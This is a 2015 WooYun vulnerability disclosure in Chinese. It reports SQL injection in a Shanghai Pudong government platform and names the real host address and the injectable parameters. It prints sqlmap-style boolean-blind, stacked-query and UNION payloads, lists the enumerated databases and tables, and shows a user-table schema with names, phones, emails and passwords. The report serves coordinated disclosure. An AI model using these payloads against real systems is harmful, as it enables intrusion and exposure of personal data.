当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0115286

漏洞标题：上海浦东（副省级）政府网某平台存在高危漏洞影响内部数据

相关厂商：上海浦东某政府平台

漏洞作者： Looke

提交时间：2015-05-21 12:38

修复时间：2015-07-10 10:50

公开时间：2015-07-10 10:50

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-05-21： 细节已通知厂商并且等待厂商处理中
2015-05-26： 厂商已经确认，细节仅向厂商公开
2015-06-05： 细节向核心白帽子及相关领域专家公开
2015-06-15： 细节向普通白帽子公开
2015-06-25： 细节向实习白帽子公开
2015-07-10： 细节向公众公开

简要描述：

浦东新区成为上海市第一大的行政区，行政区类别市辖区（副省级），著名景点东方明珠，上海科技馆，金茂大厦，环球金融中心，野生动物园等

详细说明：

出问题的地方如下图：精神文明创建在线平台

1.png


漏洞地址：http://116.228.44.14:7273/pdwmdwfc/second/mien/homePage3/JumpSelfModule.jsp?selfModuleid=12502&WL_ID=2323&COMPANYTYPE=0&OWNER=10591
多个参数存在注入，OWER和selfModuleid.

---
Parameter: OWNER (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: selfModuleid=12502&WL_ID=2323&COMPANYTYPE=0&OWNER=10591 AND 3388=3388
Parameter: selfModuleid (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: selfModuleid=12502 AND 5932=5932&WL_ID=2323&COMPANYTYPE=0&OWNER=10591
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: selfModuleid=12502;WAITFOR DELAY '0:0:5'--&WL_ID=2323&COMPANYTYPE=0&OWNER=10591
    Type: UNION query
    Title: Generic UNION query (NULL) - 5 columns
    Payload: selfModuleid=-3999 UNION ALL SELECT NULL,NULL,CHAR(113)+CHAR(106)+CHAR(122)+CHAR(122)+C
HAR(113)+CHAR(68)+CHAR(98)+CHAR(101)+CHAR(114)+CHAR(104)+CHAR(101)+CHAR(116)+CHAR(73)+CHAR(76)+CHAR(
107)+CHAR(113)+CHAR(106)+CHAR(118)+CHAR(98)+CHAR(113),NULL,NULL-- &WL_ID=2323&COMPANYTYPE=0&OWNER=10
591
---


漏洞证明：

available databases [11]:
[*] master
[*] model
[*] msdb
[*] pdwmcq
[*] pdwmds
[*] pdwmdw
[*] pdwmxq
[*] pdwmyq
[*] ReportServer
[*] ReportServerTempDB
[*] tempdb


Database: pdwmyq
+----------------------------+---------+
| Table                      | Entries |
+----------------------------+---------+
| dbo.JSWM_Mein_CompanyInfo  | 4448    |
| dbo.standardMemo           | 724     |
| dbo.online                 | 538     |
| dbo.standard               | 420     |
| dbo.permitStandardResult   | 339     |
| dbo.JSWM_Mein_CompanyInfo1 | 278     |
| dbo.userinfo               | 120     |
| dbo.JSWM_Mien_SkinRegister | 81      |
| dbo.WEBPARTLIB             | 77      |
| dbo.patrolLog              | 30      |
| dbo.rowCountInfo           | 19      |
| dbo.WEBTEMPLATELIB         | 15      |
| dbo.JSWM_Mien_Skin         | 4       |
| dbo.unitType               | 4       |
| dbo.WEBLAYOUTLIB           | 3       |
| dbo.JSWM_Mien_Attach       | 2       |
| dbo.administrator          | 1       |
| dbo.config                 | 1       |
| dbo.jieci                  | 1       |
+----------------------------+---------+
Database: ReportServerTempDB
+----------------------------+---------+
| Table                      | Entries |
+----------------------------+---------+
| dbo.DBUpgradeHistory       | 27      |
+----------------------------+---------+
Database: pdwmcq
+----------------------------+---------+
| Table                      | Entries |
+----------------------------+---------+
| dbo.standardMemo           | 248     |
| dbo.standard               | 161     |
| dbo.answerresult           | 100     |
| dbo.userinfo               | 95      |
| dbo.online                 | 94      |
| dbo.patrolLog              | 26      |
| dbo.rowCountInfo           | 15      |
| dbo.idea                   | 14      |
| dbo.questionresult         | 14      |
| dbo.suggestion             | 14      |
| dbo.standardResult         | 13      |
| dbo.standardDetail         | 10      |
| dbo.questionary            | 9       |
| dbo.unitType               | 5       |
| dbo.datumCenter            | 3       |
| dbo.standardItem           | 3       |
| dbo.administrator          | 1       |
| dbo.config                 | 1       |
| dbo.jieci                  | 1       |
| dbo.material               | 1       |
+----------------------------+---------+
Database: pdwmxq
+----------------------------+---------+
| Table                      | Entries |
+----------------------------+---------+
| dbo.standardMemoResult     | 20318   |
| dbo.answerresult           | 19405   |
| dbo.idea                   | 17453   |
| dbo.standardResult         | 14800   |
| dbo.questionresult         | 10860   |
| dbo.online                 | 5443    |
| dbo.userinfo               | 2364    |
| dbo.querylist              | 2247    |
| dbo.xqlist                 | 2065    |
| dbo.standardSure           | 624     |
| dbo.standardMemo           | 96      |
| dbo.standard               | 58      |
| dbo.questionary            | 19      |
| dbo.rowCountInfo           | 15      |
| dbo.standardDetail         | 10      |
| dbo.datumCenter            | 6       |
| dbo.unitType               | 4       |
| dbo.standardItem           | 3       |
| dbo.administrator          | 1       |
| dbo.config                 | 1       |
| dbo.jieci                  | 1       |
+----------------------------+---------+
Database: pdwmdw
+----------------------------+---------+
| Table                      | Entries |
+----------------------------+---------+
| dbo.material               | 275487  |
| dbo.standardResult         | 35297   |
| dbo.JSWM_Mien_Attach       | 12685   |
| dbo.JSWM_Mien_SelfModule   | 11761   |
| dbo.WEBPARTLIB             | 3430    |
| dbo.online                 | 1405    |
| dbo.userinfo               | 906     |
| dbo.standardMemo           | 726     |
| dbo.standardSure           | 719     |
| dbo.WEBTEMPLATELIB         | 495     |
| dbo.JSWM_Mein_CompanyInfo  | 479     |
| dbo.standard               | 421     |
| dbo.permitStandardResult   | 339     |
| dbo.material1              | 280     |
| dbo.dwlist                 | 236     |
| dbo.JSWM_Mien_SkinRegister | 195     |
| dbo.patrolLog              | 30      |
| dbo.rowCountInfo           | 19      |
| dbo.datumCenter            | 8       |
| dbo.JSWM_Mien_Skin         | 4       |
| dbo.unitType               | 4       |
| dbo.WEBLAYOUTLIB           | 3       |
| dbo.administrator          | 1       |
| dbo.config                 | 1       |
| dbo.jieci                  | 1       |
+----------------------------+---------+
Database: ReportServer
+----------------------------+---------+
| Table                      | Entries |
+----------------------------+---------+
| dbo.DBUpgradeHistory       | 31      |
| dbo.ConfigurationInfo      | 23      |
| dbo.Roles                  | 8       |
| dbo.PolicyUserRole         | 4       |
| dbo.Users                  | 3       |
| dbo.Keys                   | 2       |
| dbo.Policies               | 2       |
| dbo.SecData                | 2       |
| dbo.ServerUpgradeHistory   | 2       |
| dbo.Catalog                | 1       |
| dbo.UpgradeInfo            | 1       |
+----------------------------+---------+
Database: pdwmds
+----------------------------+---------+
| Table                      | Entries |
+----------------------------+---------+
| dbo.JSWM_Mein_CompanyInfo  | 4448    |
| dbo.standardMemo           | 716     |
| dbo.online                 | 538     |
| dbo.standard               | 414     |
| dbo.permitStandardResult   | 339     |
| dbo.JSWM_Mein_CompanyInfo1 | 278     |
| dbo.userinfo               | 120     |
| dbo.JSWM_Mien_SkinRegister | 81      |
| dbo.WEBPARTLIB             | 77      |
| dbo.patrolLog              | 30      |
| dbo.standardResult         | 26      |
| dbo.rowCountInfo           | 19      |
| dbo.WEBTEMPLATELIB         | 15      |
| dbo.JSWM_Mien_Skin         | 4       |
| dbo.unitType               | 4       |
| dbo.WEBLAYOUTLIB           | 3       |
| dbo.JSWM_Mien_Attach       | 2       |
| dbo.administrator          | 1       |
| dbo.config                 | 1       |
| dbo.jieci                  | 1       |
+----------------------------+---------+


泄漏大量个人数据信息：包括姓名、职位、手机、email等重要信息。

Database: pdwmxq
Table: userinfo
[60 columns]
+--------------------+---------+
| Column             | Type    |
+--------------------+---------+
| address            | varchar |
| adminDuty          | varchar |
| adminEmail         | varchar |
| adminFaxes         | varchar |
| adminHandset       | varchar |
| adminName          | varchar |
| adminPhone         | varchar |
| areaType           | varchar |
| buildgroupSum      | int     |
| corporationAcreage | varchar |
| corporationDuty    | varchar |
| corporationEmail   | varchar |
| corporationFaxes   | varchar |
| corporationHandset | varchar |
| corporationName    | varchar |
| corporationPhone   | varchar |
| dwclerkDuty        | varchar |
| dwclerkEmail       | varchar |
| dwclerkFaxes       | varchar |
| dwclerkHandset     | varchar |
| dwclerkName        | varchar |
| dwclerkPhone       | varchar |
| employeeNum        | int     |
| founddept          | varchar |
| honorCount         | int     |
| incorporationSum   | int     |
| isForm             | varchar |
| linkman2           | varchar |
| linkman3           | varchar |
| linkmanDuty2       | varchar |
| linkmanDuty3       | varchar |
| linkmanEmail2      | varchar |
| linkmanEmail3      | varchar |
| linkmanFaxes2      | varchar |
| linkmanFaxes3      | varchar |
| linkmanHandset2    | varchar |
| linkmanHandset3    | varchar |
| linkmanPhone2      | varchar |
| linkmanPhone3      | varchar |
| otherHonorCount    | int     |
| ownerName          | varchar |
| partymemberNum     | int     |
| precinctAddress    | varchar |
| precinctName       | varchar |
| precinctPhone      | varchar |
| projectintro       | varchar |
| readType           | varchar |
| reallyName         | varchar |
| residenterdoorSum  | int     |
| residenterSum      | int     |
| TypeID             | int     |
| unitEmail          | varchar |
| unitFaxes          | varchar |
| unitNet            | varchar |
| unitPhone          | varchar |
| userCode           | varchar |
| userID             | int     |
| userName           | varchar |
| userPassword       | varchar |
| userType           | varchar |
+--------------------+---------+


QQ拼音截图未命名.png


修复方案：

过滤

版权声明：转载请注明来源 Looke@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：11

确认时间：2015-05-26 10:48

厂商回复：

CNVD确认并复现所述漏洞情况，已经转由CNCERT下发给上海分中心，由上海分中心后续协调网站管理单位处置。

最新状态：

暂无